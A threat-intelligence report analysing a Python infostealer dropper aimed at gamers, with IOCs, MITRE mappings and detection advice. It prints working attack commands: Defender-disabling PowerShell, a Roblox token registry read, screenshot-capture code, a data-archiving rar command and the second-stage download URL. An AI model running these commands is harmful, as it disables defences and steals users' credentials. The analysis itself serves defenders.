Back to reports
mediumStealer

Python Infostealer / SKRX Dropper — Multi-Platform Credential Harvester

InvestigatedMarch 14, 2026PublishedMarch 14, 2026
stealersocial-engineeringcredential-theftc2apt

Executive Summary

main.exe is a PyInstaller-packed Python infostealer dropper attributed with high confidence to a Russian-speaking threat actor operating under the handles 68sheff and SKRX. The malware targets gamers and general Windows users, harvesting credentials from Roblox, Discord, Steam, Epic Games, and all major browsers, while simultaneously disabling Windows Defender, capturing screenshots, stealing the Windows product key, and downloading a 16MB second-stage payload from an actor-controlled GitHub repository. Stolen data is archived with embedded WinRAR (RAR password: 69sheff) and exfiltrated over HTTPS.

The actor has two GitHub repositories, one hosting the malware payload and one hosting a Telegram Mini App ("SKRX SHOP") — a Russian-language phone verification service that sells Russian phone numbers by region for prices of 300–600 rubles, consistent with SIM-verification fraud operations used to bypass two-factor authentication.

The sample was first submitted to VirusTotal on 2026-03-14, the same day it was reported, indicating it is a fresh, actively-deployed campaign.


Sample Metadata

FieldValue
SHA2566ea5c0b812a85b9495af90143098ff2e4b55ae7b7312e64e57de41f58ce5e161
MD587275f6110fd36ff646f2a19ccbefe73
SHA1adbe2b83013476bc0bf62ead1c2832937b0d82d1
Filenamemain.exe
File TypePE32+ executable (console) x86-64, for MS Windows
File Size328,192 bytes (320 KB)
First Seen2026-03-14 09:01:13 UTC
ReporterSamBurchmann
VT Detections10/76
PackerPyInstaller (Python 3.14 runtime)
CompilerPython → PyInstaller → PE64
PE Sections6 (.text, .rdata, .data, .pdata, .fptable, .reloc)
Mutexf

VirusTotal Detection Breakdown

EngineDetection
MicrosoftTrojan:Win32/Wacatac.B!ml
HuorongHVM:TrojanDownloader/Small.gen!B
CrowdStrikewin/malicious_confidence_90% (D)
Elasticmalicious (high confidence)
CynetMalicious (score: 100)
APEXMalicious
DeepInstinctMALICIOUS
SymantecML.Attribute.HighConfidence
SangforTrojan.Win32.Save.a
McAfeeDti!6EA5C0B812A8

Static Analysis

Packer / Runtime

The binary is compiled with PyInstaller using Python 3.14, confirmed by the presence of python314.dll in the extracted _MEI temporary directory. PyInstaller embeds the complete Python interpreter plus all required .pyd modules and DLLs, extracting them to %TEMP%\_MEI[random]\ at runtime.

Key embedded assets identified via behavioral analysis:

FilePurpose
python314.dllPython 3.14 runtime
rar.exeEmbedded WinRAR CLI binary for archiving stolen data
rarreg.keyWinRAR license key (silences nag screens)
blank.aesAES key placeholder / encrypted data store
VCRUNTIME140.dll, VCRUNTIME140_1.dllMSVC runtime
_ssl.pyd, _hashlib.pydSSL/crypto extensions
_wmi.pydWMI Python bindings
_sqlite3.pydSQLite (browser credential databases)

PE Structure

Section   VirtAddr   VirtSize   FileOffset  RawSize
.text     0x1000     0x37558    0x400       0x37600
.rdata    0x39000    0x1313c    0x37a00     0x13200
.data     0x4d000    0x2b20     0x4ac00     0x1400
.pdata    0x50000    0x3384     0x4c000     0x3400
.fptable  0x54000    0x100      0x4f400     0x200
.reloc    0x55000    0xa04      0x4f600     0xc00

Standard PyInstaller PE layout. The Python archive (CArchive) is embedded in the .data/overlay region. Import table shows only KERNEL32.dll, SHELL32.dll, and urlmon.dll — minimal surface area, all behavior is in the embedded Python script.

Key Imports

ImportUsage
URLDownloadToFileA (urlmon.dll)Downloads second-stage payload from GitHub
ShellExecuteA (SHELL32.dll)Executes downloaded second stage

Obfuscated Exfiltration Folder

The malware creates a unicode-obfuscated folder name using invisible unicode whitespace characters to hide the staging directory from casual inspection:

C:\Users\<USER>\AppData\Local\Temp\
  \x200a\x202f\x200c\x202f\x2006\xa0\x200b\x2001\x2001\x2009\
    System\
      Antivirus.txt
      System Info.txt
      Task List.txt

Characters used: Hair Space (U+200A), Narrow No-Break Space (U+202F), Zero Width Non-Joiner (U+200C), Thin Space (U+2006), No-Break Space (U+00A0), Zero Width Space (U+200B), Em Quad (U+2001), Em Space (U+2001), Thin Space (U+2009). The folder is invisible in most file managers and terminal views.


Deobfuscated / Reconstructed Behavior

Screenshot Capture (Decoded Base64 PowerShell)

The malware executes the following PowerShell via -EncodedCommand to capture screenshots of all monitors:

$source = @"
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;

public class Screenshot
{
    public static List<Bitmap> CaptureScreens()
    {
        var results = new List<Bitmap>();
        var allScreens = Screen.AllScreens;

        foreach (Screen screen in allScreens)
        {
            try
            {
                Rectangle bounds = screen.Bounds;
                using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))
                {
                    using (Graphics graphics = Graphics.FromImage(bitmap))
                    {
                        graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top),
                            Point.Empty, bounds.Size);
                    }
                    results.Add((Bitmap)bitmap.Clone());
                }
            }
            catch (Exception) { }
        }
        return results;
    }
}
"@

Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms
$screenshots = [Screenshot]::CaptureScreens()

for ($i = 0; $i -lt $screenshots.Count; $i++){
    $screenshot = $screenshots[$i]
    $screenshot.Save("./Display ($($i+1)).png")
    $screenshot.Dispose()
}

The C# code is compiled at runtime via csc.exe (confirmed in process tree: tmoqw1b2.cmdline). Screenshots are saved as Display (1).png, Display (2).png, etc.

Data Archival Command

C:\Users\<USER>\AppData\Local\Temp\_MEI56962\rar.exe a -r -hp"69sheff" "C:\Users\<USER>\AppData\Local\Temp\yw4zP.zip" *
  • -a: add to archive
  • -r: recurse subdirectories
  • -hp"69sheff": encrypt archive headers with password 69sheff (the actor's handle with a digit prefix)
  • Output: yw4zP.zip (random 5-char filename)

Infection Chain

[Initial Execution]
    main.exe (desktop) → copies to %TEMP%\winUsysUupdehe.exe
         │
         ▼
[Defense Evasion]
    powershell Add-MpPreference -ExclusionPath winUsysUupdehe.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
               -DisableIOAVProtection $true
               -DisableIntrusionPreventionSystem $true
               -DisableScriptScanning $true
               -EnableControlledFolderAccess Disabled
               -MAPSReporting Disabled
               -SubmitSamplesConsent NeverSend
    MpCmdRun.exe -RemoveDefinitions -All
         │
         ▼
[Discovery / Reconnaissance]
    WMIC SecurityCenter2 → enumerate installed AV products → Antivirus.txt
    systeminfo → System Info.txt
    getmac → System Info.txt
    tasklist /FO LIST → Task List.txt
    tree /A /F → filesystem enumeration
    wmic os get Caption → OS version
    wmic computersystem get totalphysicalmemory → RAM
    wmic csproduct get uuid → machine UUID
    wmic path win32_VideoController get name → GPU
    ip-api.com/json/?fields=225545 → victim IP / geolocation
    powershell Get-Clipboard → clipboard contents
         │
         ▼
[Credential / Token Harvesting]
    HKCU\SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com → .ROBLOSECURITY
    HKLM\SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com → .ROBLOSECURITY
    HKLM\...\SoftwareProtectionPlatform → BackupProductKeyDefault (Windows key)
    %APPDATA%\discord\* → Discord token files
    %APPDATA%\discordcanary\* → Discord Canary tokens
    Firefox cookies.sqlite → browser session cookies
    Edge INetCookies ESE → Edge session cookies
    Steam config → Steam account data
    Epic Games config → Epic account data
         │
         ▼
[Screen Capture]
    csc.exe compiles inline C# → captures all monitors → Display (N).png
         │
         ▼
[Second Stage Download]
    URLDownloadToFileA:
    https://raw.githubusercontent.com/68sheff/GuCheckerKeySystem/main/KeyAuth%20(2).exe
    (16.2 MB — suspected full-featured RAT/stealer)
         │
         ▼
[Exfiltration]
    rar.exe a -r -hp"69sheff" %TEMP%\yw4zP.zip *
    (all collected data archived, headers encrypted)
    → exfiltration mechanism (likely Telegram bot via second stage)

Behavioral Analysis

Credential Targets

TargetData TypeMethod
Roblox.ROBLOSECURITY session tokenPowerShell registry query
DiscordApplication tokensFile system access (%APPDATA%\discord)
Discord CanaryApplication tokensFile system access
SteamAccount credentials/configC:\Program Files (x86)\Steam\config
Epic GamesAccount configuration%LOCALAPPDATA%\EpicGamesLauncher\Saved\Config
FirefoxBrowser cookies (all sites)SQLite read (cookies.sqlite)
EdgeBrowser cookies (all sites)ESE database (INetCookies\ESE)
Windows OSProduct keyRegistry (BackupProductKeyDefault)
ClipboardArbitrary data (crypto wallets, passwords)powershell Get-Clipboard

System Profiling

The malware builds a complete victim profile:

  • OS name and version
  • Total RAM
  • Machine UUID (hardware fingerprint)
  • GPU model
  • MAC addresses (all network adapters)
  • Running process list
  • Installed AV products
  • File system tree
  • Geographic location (via ip-api.com)

Anti-Analysis Techniques

  1. PyInstaller packing — Python bytecode is compressed and embedded, preventing simple string extraction
  2. Unicode folder names — Output directory uses invisible unicode characters
  3. Encoded PowerShell — Screenshot routine uses -EncodedCommand to bypass string-based detection
  4. Defender disabled — Fully disables Windows Defender before any malicious activity
  5. Self-exclusion — Adds itself to Defender's exclusion list as a first step
  6. Minimal PE imports — Only 3 DLL imports visible in the PE header

Network Indicators

Command & Control / Payload Delivery

IndicatorTypePurposeHosting
https://raw.githubusercontent.com/68sheff/GuCheckerKeySystem/main/KeyAuth%20(2).exeURLSecond stage downloadGitHub / Fastly CDN
https://github.com/68sheff/GuCheckerKeySystem/raw/main/KeyAuth%20(2).exeURLSecond stage (alternate)GitHub
http://ip-api.com/json/?fields=225545URLIP geolocation checkip-api.com
140.82.113.4IPgithub.comGitHub (ASN 36459)
185.199.108.133IPraw.githubusercontent.comFastly CDN (ASN 54113)

IP Infrastructure (Shodan)

IPHostnamesOpen PortsProvider
140.82.113.4www.github.com, github.com, lb-140-82-113-4-iad.github.com22, 80, 443GitHub, Inc.
185.199.108.133github.com, githubusercontent.com, cdn-185-199-108-133.github.com, github.io80, 443Fastly (GitHub CDN)

Both IPs are GitHub/Fastly infrastructure — the actor uses GitHub as a free, legitimate-looking CDN for payload hosting, making traffic blend with normal developer activity.


Actor Profile

Identity

AttributeValue
GitHub Handle68sheff
GitHub ID185676909
BrandSKRX
Account Created2024-10-20
LanguageRussian
MotivationFinancial (credential theft, SIM fraud)
SophisticationNovice–Intermediate

Infrastructure

AssetDetails
GitHubhttps://github.com/68sheff
C2 RepoGuCheckerKeySystem (created 2025-11-09, updated 2025-11-09)
Side Repomini-app-test (created 2026-01-06, updated 2026-01-06)
Telegram AppSKRX SHOP — Russian phone verification service

SKRX SHOP (Telegram Mini App)

The actor operates a Telegram Mini App titled "SKRX SHOP" (https://github.com/68sheff/mini-app-test). Written in Russian, this webapp:

  • Lists Russian city regions (Moscow: 600₽, St. Petersburg: 500₽, Ekaterinburg: 400₽, Novosibirsk: 350₽, Krasnodar: 300₽)
  • Accepts phone numbers (+7 Russian format)
  • Submits "requests" to a Telegram bot via tg.sendData()
  • Tracks requests in localStorage under key skrx_requests

This is consistent with a phone number brokering service used for SIM-based account verification bypass (e.g., creating fraudulent accounts, bypassing 2FA).

OPSEC Mistakes

  1. GitHub account directly linked — The C2 payload URL hardcoded in the dropper directly references the actor's personal GitHub account (68sheff)
  2. Handle in RAR password — Password 69sheff is a trivial transformation of the actor's handle (68sheff69sheff)
  3. Developer machine artifact — VT sandbox captured C:\Users\Bruno\AppData\Local\Temp\winUsysUupdehe.exe indicating the developer's personal machine username is Bruno
  4. No domain fronting — GitHub is used directly with no obfuscation layer
  5. Consistent naming — The skrx_requests localStorage key, SKRX SHOP branding, and GitHub handle all cross-reference
  6. Public repository — Payload is publicly accessible; no authentication required
  7. Simple mutex — Mutex value "f" is trivially detectable

Repo Timeline

2024-10-20  Account 68sheff created on GitHub
2025-11-09  GuCheckerKeySystem repo created (C2/payload hosting)
2025-11-09  KeyAuth (2).exe (16.2 MB second stage) uploaded
2026-01-06  mini-app-test repo created (SKRX SHOP Telegram panel)
2026-03-14  main.exe dropper first seen in the wild (this sample)

Second Stage: KeyAuth (2).exe

The second stage payload (KeyAuth (2).exe) is hosted at the actor's GitHub:

  • Size: 16,257,441 bytes (15.5 MB) — strongly suggests PyInstaller packaging
  • VT detection: 1/29 (Chong Lua Dao: malicious) — very low AV coverage
  • Name suggests KeyAuth branding — KeyAuth is a legitimate software licensing system frequently abused by commodity malware operators as a license check wrapper around RATs and stealers

The large size (15.5 MB) versus the 320 KB dropper suggests the second stage contains a more complete toolset, possibly including a full infostealer with browser credential extraction, crypto wallet harvesting, and Telegram-based exfiltration.


Campaign Context

This sample appears to be part of an ongoing campaign by a single Russian-speaking threat actor (68sheff/SKRX) targeting the gamer demographic:

  • Lure mechanism: The repo name GuCheckerKeySystem suggests the dropper is distributed as a supposed "Genshin Impact / Roblox key system checker" — a common social engineering vector in gaming communities
  • KeyAuth branding: Using the KeyAuth name suggests the payload is presented as a legitimate game launcher or license checker
  • Multi-platform credential theft: Roblox, Discord, Steam, Epic Games — all gamer-focused platforms
  • Roblox token theft: .ROBLOSECURITY is a high-value asset; it allows complete account takeover and access to Robux (in-game currency with real monetary value)
  • The SKRX SHOP: The phone verification service may serve as income alongside the stealer, or may use stolen accounts to register phone numbers

MITRE ATT&CK TTPs

Technique IDTechnique NameDetail
T1059.001Command and Scripting Interpreter: PowerShellDefender disable, credential theft, screenshot capture
T1059.003Command and Scripting Interpreter: Windows Command ShellAll execution via cmd.exe /c wrapper
T1562.001Impair Defenses: Disable or Modify ToolsFull Defender disable via Set-MpPreference
T1562.004Impair Defenses: Disable or Modify System Firewall-EnableNetworkProtection AuditMode
T1036.005Masquerading: Match Legitimate Name or LocationwinUsysUupdehe.exe in %TEMP%; KeyAuth branding
T1082System Information Discoverysysteminfo, wmic os/UUID/RAM/GPU
T1518.001Software Discovery: Security Software DiscoveryWMIC SecurityCenter2 AV enumeration
T1083File and Directory Discoverytree /A /F full filesystem enumeration
T1057Process Discoverytasklist /FO LIST
T1016System Network Configuration Discoverygetmac — all MAC addresses
T1012Query Registry.ROBLOSECURITY, Windows product key
T1115Clipboard Datapowershell Get-Clipboard
T1113Screen CaptureC# Add-Type screenshot of all monitors
T1005Data from Local SystemDiscord tokens, Steam config, browser DB
T1539Steal Web Session CookieFirefox cookies.sqlite, Edge INetCookies
T1552.002Unsecured Credentials: Credentials in RegistryRoblox token, Windows product key
T1105Ingress Tool TransferSecond stage via URLDownloadToFileA
T1560.001Archive Collected Data: Archive via Utilityrar.exe with -hp"69sheff"
T1027.010Obfuscated Files or Information: Command ObfuscationBase64-encoded PowerShell screenshot
T1027.013Obfuscated Files or Information: Encrypted/Encoded FileRAR with header encryption
T1027.009Obfuscated Files or Information: Embedded PayloadsPyInstaller-embedded rar.exe, rarreg.key
T1140Deobfuscate/Decode Files or InformationRuntime decoding of PowerShell at execution
T1071.001Application Layer Protocol: Web ProtocolsHTTPS to GitHub for payload delivery

IOCs

File Hashes

HashTypeValue
SHA256Dropper6ea5c0b812a85b9495af90143098ff2e4b55ae7b7312e64e57de41f58ce5e161
MD5Dropper87275f6110fd36ff646f2a19ccbefe73
SHA1Dropperadbe2b83013476bc0bf62ead1c2832937b0d82d1

Network Indicators

IndicatorTypeContext
https://raw.githubusercontent.com/68sheff/GuCheckerKeySystem/main/KeyAuth%20(2).exeURLSecond stage download
https://github.com/68sheff/GuCheckerKeySystem/raw/main/KeyAuth%20(2).exeURLSecond stage (alternate path)
http://ip-api.com/json/?fields=225545URLVictim IP geolocation beacon
140.82.113.4IPGitHub (C2 payload host)
185.199.108.133IPraw.githubusercontent.com CDN
raw.githubusercontent.comDomainSecond stage delivery
github.comDomainSecond stage delivery
68sheffGitHub ActorActor handle

Host-Based Indicators

IndicatorTypeContext
%TEMP%\winUsysUupdehe.exeFilepathDropper persistence copy
%TEMP%\_MEI[0-9]+\rar.exeFilepathEmbedded WinRAR
%TEMP%\_MEI[0-9]+\rarreg.keyFilepathWinRAR license
%TEMP%\_MEI[0-9]+\blank.aesFilepathAES key/data file
%TEMP%\_MEI[0-9]+\python314.dllFilepathPython runtime
%TEMP%\yw4zP.zipFilepathEncrypted exfil archive (name may vary)
fMutexProcess mutex
winUsysUupdeheStringDropper copy filename
69sheffStringRAR archive password
GuCheckerKeySystemStringGitHub repo name / URL component

Registry Indicators (Accessed)

KeyValuePurpose
HKCU\SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com.ROBLOSECURITYRoblox session token theft
HKLM\SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com.ROBLOSECURITYRoblox session token theft
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatformBackupProductKeyDefaultWindows product key theft

PowerShell Command Fingerprints

Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Add-MpPreference -ExclusionPath 'C:\Users\*\AppData\Local\Temp\winUsysUupdehe.exe'
Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

Infrastructure Map

                        ┌──────────────────────────────────┐
                        │  Threat Actor: 68sheff / SKRX    │
                        │  Language: Russian               │
                        │  Dev machine user: Bruno         │
                        └───────────┬──────────────────────┘
                                    │
            ┌───────────────────────┼──────────────────────────┐
            │                       │                          │
    ┌───────▼───────┐    ┌──────────▼──────────┐    ┌─────────▼────────┐
    │ GitHub Repo 1 │    │  GitHub Repo 2       │    │  SKRX SHOP       │
    │ GuCheckerKey  │    │  mini-app-test       │    │  (Telegram Mini  │
    │ System        │    │  (JavaScript)        │    │  App)            │
    │               │    │                      │    │  Phone Broker    │
    │ KeyAuth(2).exe│    │  SKRX SHOP frontend  │    │  300-600₽/number │
    │ (16.2 MB)     │    │  Russian regions     │    │  Moscow/SPB/etc  │
    └───────┬───────┘    └──────────────────────┘    └──────────────────┘
            │
            │ URLDownloadToFileA (HTTPS)
            │
    ┌───────▼───────────────────────────────────────────────────┐
    │  main.exe (dropper)                                       │
    │  328KB PyInstaller PE64                                   │
    │  → Disables Defender                                      │
    │  → Steals: Roblox/.ROBLOSECURITY, Discord tokens,         │
    │     Steam, Epic, Firefox/Edge cookies, Win product key,   │
    │     clipboard, screenshots, system info                   │
    │  → RAR archive (password: 69sheff)                        │
    │  → Downloads KeyAuth(2).exe (second stage)                │
    └───────────────────────────────────────────────────────────┘

Attribution

AttributeValueConfidence
Actor68sheff / SKRXHIGH
NationalityRussianHIGH
GitHubhttps://github.com/68sheffCONFIRMED
Developer usernameBrunoMEDIUM (sandbox artifact)
MotivationFinancial — credential theft + phone fraudHIGH
Malware typeCustom Python infostealerHIGH
Distribution vectorGaming communities (fake key system/launcher)HIGH

The actor is assessed as a novice-to-intermediate Russian-speaking cybercriminal operating independently or as a small team. The use of Python + PyInstaller, GitHub for payload hosting, and simple mutex values (f) indicates limited operational security maturity. However, the breadth of credential targets and the use of unicode folder obfuscation and WinRAR header encryption shows awareness of detection techniques.

The SKRX SHOP Telegram service suggests the actor monetizes multiple streams: direct credential theft for account takeover/resale, and phone verification brokering (likely used for bypassing SMS 2FA on stolen accounts or creating fraudulent accounts at scale in Russian services).


Defensive Recommendations

  1. Block network access to raw.githubusercontent.com for non-developer endpoints, or alert on downloads of PE files from GitHub CDN
  2. Alert on Set-MpPreference -DisableRealtimeMonitoring in PowerShell logs (Event ID 4104)
  3. Monitor registry reads of HKCU\SOFTWARE\Roblox\...\ROBLOSECURITY
  4. Alert on rar.exe with -hp flag (encrypted archive creation) outside of known backup processes
  5. Alert on csc.exe spawned from %TEMP% — PowerShell Add-Type compiles inline C# at runtime
  6. Detect unicode-whitespace directory creation in %TEMP%
  7. Block ip-api.com at the network perimeter (legitimate use cases are rare on enterprise endpoints)
  8. Monitor for MpCmdRun.exe -RemoveDefinitions -All execution
  9. Endpoint controls: Prevent cmd.exe from spawning PowerShell with Defender-modification commands

References

  • VirusTotal: https://www.virustotal.com/gui/file/6ea5c0b812a85b9495af90143098ff2e4b55ae7b7312e64e57de41f58ce5e161
  • Actor GitHub: https://github.com/68sheff
  • C2 Repository: https://github.com/68sheff/GuCheckerKeySystem
  • SKRX SHOP: https://github.com/68sheff/mini-app-test
  • KeyAuth (legitimate): https://keyauth.cc (abused by actor for branding)
  • MITRE ATT&CK: https://attack.mitre.org
Share